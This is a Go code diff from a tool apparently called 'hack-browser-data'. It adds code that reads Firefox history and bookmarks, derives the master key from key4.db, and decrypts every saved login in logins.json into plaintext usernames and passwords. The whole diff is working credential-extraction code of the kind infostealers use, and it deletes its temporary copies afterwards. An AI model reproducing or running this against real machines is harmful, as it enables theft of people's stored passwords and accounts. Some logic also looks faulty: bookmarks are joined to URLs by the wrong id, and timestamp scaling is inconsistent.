|
|
|
@ -12,6 +12,7 @@ import ( |
|
|
|
|
"encoding/hex" |
|
|
|
|
"hack-browser-data/log" |
|
|
|
|
"hack-browser-data/utils" |
|
|
|
|
"io" |
|
|
|
|
"io/ioutil" |
|
|
|
|
"os" |
|
|
|
|
"sort" |
|
|
|
@ -93,6 +94,10 @@ func ParseResult(dbname string) { |
|
|
|
|
parseLogin() |
|
|
|
|
case utils.FirefoxCookie: |
|
|
|
|
parseFirefoxCookie() |
|
|
|
|
case utils.FirefoxKey4DB: |
|
|
|
|
parseFirefoxKey4() |
|
|
|
|
case utils.FirefoxData: |
|
|
|
|
parseFirefoxData() |
|
|
|
|
} |
|
|
|
|
} |
|
|
|
|
|
|
|
|
@ -299,20 +304,104 @@ func getBookmarkChildren(value gjson.Result) (children gjson.Result) { |
|
|
|
|
return children |
|
|
|
|
} |
|
|
|
|
|
|
|
|
|
var queryFirefoxBookMarks = `SELECT id, fk, type, dateAdded, title FROM moz_bookmarks` |
|
|
|
|
var queryFirefoxHistory = `SELECT id, url, title, last_visit_date, visit_count FROM moz_places` |
|
|
|
|
|
|
|
|
|
// places.sqlite doc @https://developer.mozilla.org/en-US/docs/Mozilla/Tech/Places/Database
|
|
|
|
|
func parseFirefoxData() { |
|
|
|
|
var historyList HistorySlice |
|
|
|
|
var ( |
|
|
|
|
err error |
|
|
|
|
keyDB *sql.DB |
|
|
|
|
bookmarkRows, historyRow *sql.Rows |
|
|
|
|
tempMap map[int64]string |
|
|
|
|
bookmarkUrl string |
|
|
|
|
) |
|
|
|
|
tempMap = make(map[int64]string) |
|
|
|
|
keyDB, err = sql.Open("sqlite3", utils.FirefoxData) |
|
|
|
|
defer os.Remove(utils.FirefoxData) |
|
|
|
|
defer func() { |
|
|
|
|
err := keyDB.Close() |
|
|
|
|
if err != nil { |
|
|
|
|
log.Error(err) |
|
|
|
|
} |
|
|
|
|
}() |
|
|
|
|
if err != nil { |
|
|
|
|
log.Error(err) |
|
|
|
|
} |
|
|
|
|
bookmarkRows, err = keyDB.Query(queryFirefoxBookMarks) |
|
|
|
|
historyRow, err = keyDB.Query(queryFirefoxHistory) |
|
|
|
|
if err != nil { |
|
|
|
|
log.Error(err) |
|
|
|
|
} |
|
|
|
|
defer func() { |
|
|
|
|
if err := bookmarkRows.Close(); err != nil { |
|
|
|
|
log.Error(err) |
|
|
|
|
} |
|
|
|
|
}() |
|
|
|
|
defer func() { |
|
|
|
|
if err := historyRow.Close(); err != nil { |
|
|
|
|
log.Error(err) |
|
|
|
|
} |
|
|
|
|
}() |
|
|
|
|
for historyRow.Next() { |
|
|
|
|
var ( |
|
|
|
|
id, visitDate int64 |
|
|
|
|
url, title string |
|
|
|
|
visitCount int |
|
|
|
|
) |
|
|
|
|
err = historyRow.Scan(&id, &url, &title, &visitDate, &visitCount) |
|
|
|
|
historyList = append(historyList, history{ |
|
|
|
|
Title: title, |
|
|
|
|
Url: url, |
|
|
|
|
VisitCount: visitCount, |
|
|
|
|
LastVisitTime: utils.TimeStampFormat(visitDate / 100000), |
|
|
|
|
}) |
|
|
|
|
tempMap[id] = url |
|
|
|
|
} |
|
|
|
|
FullData.HistorySlice = historyList |
|
|
|
|
|
|
|
|
|
for bookmarkRows.Next() { |
|
|
|
|
var ( |
|
|
|
|
id, fk, bType, dateAdded int64 |
|
|
|
|
title string |
|
|
|
|
) |
|
|
|
|
err = bookmarkRows.Scan(&id, &fk, &bType, &dateAdded, &title) |
|
|
|
|
if url, ok := tempMap[id]; ok { |
|
|
|
|
bookmarkUrl = url |
|
|
|
|
} |
|
|
|
|
bookmarkList = append(bookmarkList, bookmarks{ |
|
|
|
|
ID: id, |
|
|
|
|
Name: title, |
|
|
|
|
Type: utils.BookMarkType(bType), |
|
|
|
|
URL: bookmarkUrl, |
|
|
|
|
DateAdded: utils.TimeStampFormat(dateAdded / 1000000), |
|
|
|
|
}) |
|
|
|
|
} |
|
|
|
|
FullData.BookmarkSlice = bookmarkList |
|
|
|
|
} |
|
|
|
|
|
|
|
|
|
var queryPassword = `SELECT item1, item2 FROM metaData WHERE id = 'password'` |
|
|
|
|
|
|
|
|
|
func checkKey(key4 string) (b [][]byte) { |
|
|
|
|
keyDB, err := sql.Open("sqlite3", key4) |
|
|
|
|
func checkKey1() (b [][]byte) { |
|
|
|
|
var ( |
|
|
|
|
err error |
|
|
|
|
keyDB *sql.DB |
|
|
|
|
rows *sql.Rows |
|
|
|
|
) |
|
|
|
|
|
|
|
|
|
keyDB, err = sql.Open("sqlite3", utils.FirefoxKey4DB) |
|
|
|
|
defer func() { |
|
|
|
|
if err := keyDB.Close(); err != nil { |
|
|
|
|
log.Println(err) |
|
|
|
|
log.Error(err) |
|
|
|
|
} |
|
|
|
|
}() |
|
|
|
|
|
|
|
|
|
if err != nil { |
|
|
|
|
log.Println(err) |
|
|
|
|
} |
|
|
|
|
err = keyDB.Ping() |
|
|
|
|
rows, err := keyDB.Query(queryPassword) |
|
|
|
|
rows, err = keyDB.Query(queryPassword) |
|
|
|
|
defer func() { |
|
|
|
|
if err := rows.Close(); err != nil { |
|
|
|
|
log.Println(err) |
|
|
|
@ -323,26 +412,34 @@ func checkKey(key4 string) (b [][]byte) { |
|
|
|
|
item1, item2 []byte |
|
|
|
|
) |
|
|
|
|
if err := rows.Scan(&item1, &item2); err != nil { |
|
|
|
|
log.Println(err) |
|
|
|
|
log.Error(err) |
|
|
|
|
continue |
|
|
|
|
} |
|
|
|
|
b = append(b, item1, item2) |
|
|
|
|
} |
|
|
|
|
return b |
|
|
|
|
} |
|
|
|
|
|
|
|
|
|
var queryDecode = `SELECT a11, a102 from nssPrivate;` |
|
|
|
|
var queryNssPrivate = `SELECT a11, a102 from nssPrivate;` |
|
|
|
|
|
|
|
|
|
func checkA102() (b [][]byte) { |
|
|
|
|
keyDB, err := sql.Open("sqlite3", utils.FirefoxKey4DB) |
|
|
|
|
|
|
|
|
|
func checkA102(key4 string) (b [][]byte) { |
|
|
|
|
keyDB, err := sql.Open("sqlite3", key4) |
|
|
|
|
defer func() { |
|
|
|
|
if err := keyDB.Close(); err != nil { |
|
|
|
|
log.Println(err) |
|
|
|
|
if err := os.Remove(utils.FirefoxKey4DB); err != nil { |
|
|
|
|
log.Error(err) |
|
|
|
|
} |
|
|
|
|
}() |
|
|
|
|
defer func(closer io.Closer) { |
|
|
|
|
if err := keyDB.Close(); err != nil { |
|
|
|
|
log.Error(err) |
|
|
|
|
} |
|
|
|
|
}(keyDB) |
|
|
|
|
|
|
|
|
|
if err != nil { |
|
|
|
|
log.Println(err) |
|
|
|
|
log.Error(err) |
|
|
|
|
} |
|
|
|
|
rows, err := keyDB.Query(queryDecode) |
|
|
|
|
rows, err := keyDB.Query(queryNssPrivate) |
|
|
|
|
defer func() { |
|
|
|
|
if err := rows.Close(); err != nil { |
|
|
|
|
log.Println(err) |
|
|
|
@ -357,7 +454,6 @@ func checkA102(key4 string) (b [][]byte) { |
|
|
|
|
} |
|
|
|
|
b = append(b, a11, a102) |
|
|
|
|
} |
|
|
|
|
log.Println(b) |
|
|
|
|
return b |
|
|
|
|
} |
|
|
|
|
|
|
|
|
@ -414,8 +510,8 @@ func decryptPBE(decodeItem []byte) (pbe PBEAlgorithms) { |
|
|
|
|
return |
|
|
|
|
} |
|
|
|
|
|
|
|
|
|
func DecodeKey4() { |
|
|
|
|
h1 := checkKey("key4.db") |
|
|
|
|
func parseFirefoxKey4() { |
|
|
|
|
h1 := checkKey1() |
|
|
|
|
globalSalt := h1[0] |
|
|
|
|
decodedItem := h1[1] |
|
|
|
|
keyLin := []byte{248, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1} |
|
|
|
@ -424,7 +520,7 @@ func DecodeKey4() { |
|
|
|
|
var finallyKey []byte |
|
|
|
|
if bytes.Contains(m, []byte("password-check")) { |
|
|
|
|
log.Println("password-check success") |
|
|
|
|
h2 := checkA102("key4.db") |
|
|
|
|
h2 := checkA102() |
|
|
|
|
a11 := h2[0] |
|
|
|
|
a102 := h2[1] |
|
|
|
|
m := bytes.Compare(a102, keyLin) |
|
|
|
@ -435,7 +531,7 @@ func DecodeKey4() { |
|
|
|
|
log.Debugf("finally key", finallyKey, hex.EncodeToString(finallyKey)) |
|
|
|
|
} |
|
|
|
|
} |
|
|
|
|
allLogins := GetLoginData("logins.json") |
|
|
|
|
allLogins := GetLoginData() |
|
|
|
|
for _, v := range allLogins { |
|
|
|
|
log.Warn(hex.EncodeToString(v.encryptUser)) |
|
|
|
|
s1 := decryptLogin(v.encryptUser) |
|
|
|
@ -452,15 +548,17 @@ func DecodeKey4() { |
|
|
|
|
blockMode2 := cipher.NewCBCDecrypter(block, s2.Iv) |
|
|
|
|
sq2 := make([]byte, len(s2.Encrypted)) |
|
|
|
|
blockMode2.CryptBlocks(sq2, s2.Encrypted) |
|
|
|
|
u := utils.PKCS7UnPadding(sq) |
|
|
|
|
s := utils.PKCS7UnPadding(sq2) |
|
|
|
|
FullData.LoginDataSlice = append(FullData.LoginDataSlice, loginData{ |
|
|
|
|
LoginUrl: v.LoginUrl, |
|
|
|
|
UserName: string(u), |
|
|
|
|
Password: string(s), |
|
|
|
|
UserName: string(utils.PKCS7UnPadding(sq)), |
|
|
|
|
Password: string(utils.PKCS7UnPadding(sq2)), |
|
|
|
|
CreateDate: v.CreateDate, |
|
|
|
|
}) |
|
|
|
|
} |
|
|
|
|
//err := os.Remove("key4.db")
|
|
|
|
|
//if err != nil {
|
|
|
|
|
// fmt.Println(err)
|
|
|
|
|
//}
|
|
|
|
|
} |
|
|
|
|
|
|
|
|
|
var queryFirefoxCookie = `SELECT name, value, host, path, creationTime, expiry, isSecure, isHttpOnly FROM moz_cookies` |
|
|
|
@ -571,12 +669,12 @@ func paddingZero(s []byte, l int) []byte { |
|
|
|
|
} |
|
|
|
|
} |
|
|
|
|
|
|
|
|
|
func GetLoginData(loginsJson string) (l []loginData) { |
|
|
|
|
s, err := ioutil.ReadFile(loginsJson) |
|
|
|
|
func GetLoginData() (l []loginData) { |
|
|
|
|
s, err := ioutil.ReadFile(utils.FirefoxLoginData) |
|
|
|
|
if err != nil { |
|
|
|
|
log.Warn(err) |
|
|
|
|
} |
|
|
|
|
defer os.Remove(loginsJson) |
|
|
|
|
defer os.Remove(utils.FirefoxLoginData) |
|
|
|
|
h := gjson.GetBytes(s, "logins") |
|
|
|
|
if h.Exists() { |
|
|
|
|
for _, v := range h.Array() { |
|
|
|
|